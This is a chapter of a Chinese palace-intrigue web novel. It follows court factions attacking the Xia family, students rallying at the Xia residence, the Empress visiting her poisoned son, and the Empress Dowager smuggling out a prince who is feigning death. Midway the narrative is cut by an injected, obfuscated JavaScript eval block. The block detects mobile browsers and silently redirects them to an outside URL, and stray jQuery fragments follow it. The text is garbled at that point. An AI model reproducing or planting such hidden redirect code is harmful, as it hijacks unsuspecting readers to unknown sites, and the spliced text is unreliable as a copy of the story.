41. 险招
作品:《朱门咸鱼》 今年的最后一场早朝,气息肃杀更胜一筹。
原本在科举新政后一度沉寂的守旧派朝臣们,竟借此机会“死灰复燃”。
他们不敢直指君王改革之非,便借用民间喧嚣的流言,将矛头精准地指斥夏家“妖言惑主”、“败坏祖宗成法”,乃至引来“天谴”。
言辞狠辣,恨不得将夏家钉在祸国殃民的耻辱柱上,更欲借机将新政中已然萌芽、却更触动他们根基的“土地改制”彻底掐灭。
意外的是,殿内的风向却并非一面倒。
经过科举改制,那些新晋的寒门官员,与朝中锐意改革的清流老臣,竟在此刻拧成了一股绳。
他们据理力争新政乃顺应天心民意。言辞恳切:岂能因宵小之徒的阴私手段,便让夏翀这般尽忠职守、清白立朝的臣子蒙冤?改革乃大势所趋,岂能为妖言所阻?
一方借题发挥,一方据理反驳,双方唇枪舌剑,往来交锋,竟一时难分高下。
御座之上,萧翊冷眼旁观这朝堂上的风云变幻。
待争论稍歇,他接连颁下两道旨意:
第一道,以“保护现场、彻查真凶”为名,正式派遣赵羯率领禁军精锐接管夏府。
旨意措辞强硬,明示天下:“谋害亲王乃国朝重案,由朕亲审。胆敢擅动私刑、干扰办案者,视同谋逆。”
第二道,则将瑞王丧事与远在蜀地的康王紧密挂钩。
宣称:“朕必查清真凶,以告慰皇弟在天之灵。若有宵小借此生事,扰乱朝纲,便是辜负瑞王一片赤诚,朕,决不姑息。”
——这既是警告,也是将太后刚刚经历的丧子之痛,逼到了必须与康王府长远政治利益进行冷酷权衡的绝境。
圣旨一出,京中舆论风向悄然转变。
恰逢科举刚过,等待放榜的邯山书院学子们闻听夏翀蒙冤、流言污蔑,竟自发组织起来,走上街头,为这位曾给他们讲过课、清正自守的“夏先生”辩护。
这群学生们,在见证了“皇帝私访”、“考官晒金”、“惩治贪腐”之后,根本不怕事,初生牛犊的满腔热血正愁无处发泄——
他们走街串巷,高呼夏家乃寒门士子、天下百姓的代言,正是因为阻了权贵敛财之路,才遭此构陷。
一时间,几股无形的力量借着这市井流言悄然角力。
大齐开国以来,从未有如今日这般——前朝党争、后宫阴私,竟被赤裸裸摊在日光之下,任贩夫走卒品头论足。
真相对错暂且不论,这腊月寒冬的京城,各色茶馆酒肆竟人流如织,喧嚣鼎沸。
正值农闲百姓们捧着热茶,听得津津有味,直呼“这瓜吃得痛快”!
更有韩孝闻、邓书满、刑录等人牵头,纠集了三十余名同窗学子,自发来到夏府门前,强势地与禁军一同守府,以示支持。
夏翀隔门听闻,感动得涕泗横流,心头如同油煎火燎,五味杂陈。
一会儿忧心家族前途未卜,一会儿又为能得天下士子如此信任而感慨万千,只觉纵使此刻身死,亦能瞑目。
倒是夏青枫头脑活络,立刻意识到这是凝聚人心、扭转声名的良机,当即提出要在府门前设粥棚施粥。
赵羯本欲阻拦,夏青枫只眨眨眼,狡黠道:“赵统领,我二姐夫……皇上他下旨时,可没说不准在家门口施粥吧?”
赵羯略一沉吟,索性睁一只眼闭一只眼,只以“夏家人不得擅出”为由,将这施粥的差事揽到了禁军头上,也算“尽职尽责”。
裴氏则连夜备好了御寒的棉衣、照明的火烛,甚至搜罗了些通俗有趣的话本子,分送给这些守在外面的年轻学子。
一时间,夏府门前竟成了另一番景象——粥香四溢,书生谈笑,忧国忧民之声不绝于耳,竟将那笼罩在府邸上空的阴霾与惶然冲淡了不少。
消息辗转传入临华宫,夏清圆悬着的心,总算稍稍落回实处几分。
只是萧昀的病情仍如悬丝——虽暂未危及性命,但因解药无踪,人一直昏沉低烧,时醒时睡,呓语不断。
周全去了凤仪宫,直至天中时分,方将皇后请来。
原来是萧翊朝务缠身,分身乏术。最后还是吴全顺揣度圣意,冒险请示。万幸得了首肯,允准皇后在出宫“祈福”之前,再见大皇子一面。
听闻脚步声,夏清圆急步迎出,敛衽为礼:“皇后娘娘!”
皇后已换上一身青灰色棉布素袍,周身再无半分珠翠。见到夏清圆眼下的乌青与憔悴面容,她眼底掠过一丝动容,伸手虚扶:“妹妹。”
冯夏联姻虽始于利益权衡,但此刻同处危局,两人之间那层僵硬的对立与算计似乎暂时消融,生出了几分同患难的真情。
皇后疾步冲入东暖阁,见到榻上萧昀病弱昏沉的模样,心头仿佛被利刃狠狠剜过,疼得几乎喘不过气。
她扑到榻边,指尖轻颤着抚过孩子发烫的额角,眼中泪光骤聚,却强忍着未落。
“病情暂且稳住了。”夏清圆轻声宽慰。
“我听周全说了,裴夫人下落不明……”皇后长叹一声,语气萧索,“昀儿同我一样,终究是被冯家……连累了。”
“裴夫人虽暂时无踪,我已派人快马加鞭赶往定州请我舅舅入京,还来得及。”
夏清圆见她神情稍定,这才压低声音,说起心中疑虑,“依我看,昀儿与瑞王所中之毒,恐怕并非同一种。”
“你……可有凭据?”皇后闻言骇然,连番打击似乎磨钝了她从前的机敏。
此刻她也顾不上虚礼,与夏清圆你我相称。
“我连夜审了昨日服侍用膳的宫人。”夏清圆揉着刺痛的太阳穴,语气疲惫。
说得轻易,可那个“审”字背后,是常人难以想象的威逼与手段。
事关两位皇亲与夏家满门性命,她纵有千般不忍,也只得硬起心肠。
“据他们所言,昀儿贪嘴,在喜宴上用的饭菜比瑞王还多些,毒性却轻缓许多——这不合常理。”
“审?”皇后悚然一惊,“你……闯了慈安宫提人?”
此事若日后追究,一个“犯上”、“擅权”的罪名绝逃不掉。
“总不能坐以待毙。”夏清圆苦笑,“幸好皇上封了慈安宫,内外隔绝,才给了我些许方便。否则,岂能在太后眼皮底下将人带出?”
“还有一事。”夏清圆倾身,语速加快,“夏府眼下被禁军看守,不便动作。需一个极可靠之人出宫,探查‘福来客栈’。”
她将蜀地商队、可疑来客的线索有所保留地简要说罢,眸光微凝:“我怀疑连日风波与此人有关。若猜对了,此人手中……或许便有解药。”
“我把金忠留给你。”皇后一听“解药”二字,毫不犹豫,“再没有比他更妥当的人了。”
恰在此时,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949981|192431||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吴全顺悄步而入,垂首提醒:“皇后娘娘,时辰将至,该启程往大相国寺了。”
榻上的萧昀仿佛有所感应,在昏睡中又含糊地呓语:“母后……母后……”却未能醒来。
皇后望着爱子,纵有万般不舍,也只能狠心起身。
目光掠过榻边萧昀常穿的一件小袍,她伸手拿起,紧紧攥在手中。
又看见书案上他近日写的功课,随手抽出一张字迹工整的,仔细折好,纳入怀中。
“带着这些,便当昀儿还在身边罢。”她声音极轻,带着无尽的眷恋与酸楚。
“嫔妾恭送皇后娘娘,愿娘娘一路平安。”夏清圆郑重福礼。
“昀儿……与冯家,就托付与你了。”皇后深深看了夏清圆一眼,脑海中瞬息闪过“假冯瑚”的秘密,唇瓣微动,最终还是将到了嘴边的话又咽了回去。
待皇后离去不久,吴全顺去而复返,从怀中取出一面沉甸甸的令牌,双手奉上:“婉昭仪,皇上口谕:予您三日之期,彻查此事。持此金牌,后宫各处任您出入,内侍省一应人手随您调配。”
他顿了顿,声音压得更低,却字字清晰:“然,三日之后,若仍无真凶线索……便只能依律,将夏府全案,移交刑部审理了。”
慈安宫内,白幡如雪,青灯寂寂。
太后发疯似的挥退了所有前来奉旨收敛的宫人,将胆敢上前准备验尸的刑部官员骂得狗血淋头,斥为“悖逆天伦、大逆不道”。
最终只留肃月一人在旁,亲手为瑞王更衣、梳洗,一点一点将他小小的身体,放入冰冷的金丝楠木棺椁之中。
所有人都以为,她是悲恸过度,神志已然失常。
西暖阁内,檀香驱不散浓重的寒意。
太后站在棺椁旁,俯身凝视着棺内“幼子”安静的面容,指尖轻轻拂过那鼻息,眼神里疯狂褪去,只剩下深不见底的忧虑。
她绕着棺椁,一遍又一遍地检查,手指细细摩挲着棺壁内侧几个极其隐蔽、精心设计的微小气孔,又俯身侧耳,贴在棺盖上,屏息凝神,似乎在捕捉一丝极微弱的、几乎不存在的生息。
“主子,”肃月嬷嬷悄无声息地进来,声音压得极低,“司天监以瑞王殿下暴毙不祥、不宜久停宫中为由呈报,皇上已经准了,旨意是……棺椁即刻出宫,直接移入西郊皇陵安奉。”
见太后闻言,手指骤然收紧,死死扣住棺木边缘,指节泛白。
肃月瞥了一眼更漏,低声提醒:“龟息散的药效,只有十二个时辰。如今,只剩下不到七个时辰了,不能再耽搁下去了。”
“皇陵那边,确定安排妥当了?”太后打断她,声音嘶哑。
“是,万无一失。”肃月斩钉截铁,“世子爷已备好了一具身形相似的童尸。待殿下的棺椁一入地宫,便会秘密置换,将殿下安然接出。”
太后缓缓闭上眼,胸口剧烈地起伏了一下,仿佛用尽了全身力气才压住那股几乎要破腔而出的恐惧和冲动。
她重新睁开眼,目光落在那些维系着棺内一线生机的气孔上,指尖无意识地颤抖着,声音轻得如同梦呓:
“肃月……”
“老奴在。”
“行此险招……”太后喉头滚动,每一个字都像是从冰水里捞出来,浸透了迟疑与后怕,“真的值吗?”
殿外北风呼啸,卷起漫天雪沫,拍打在窗棂上,簌簌如泣。

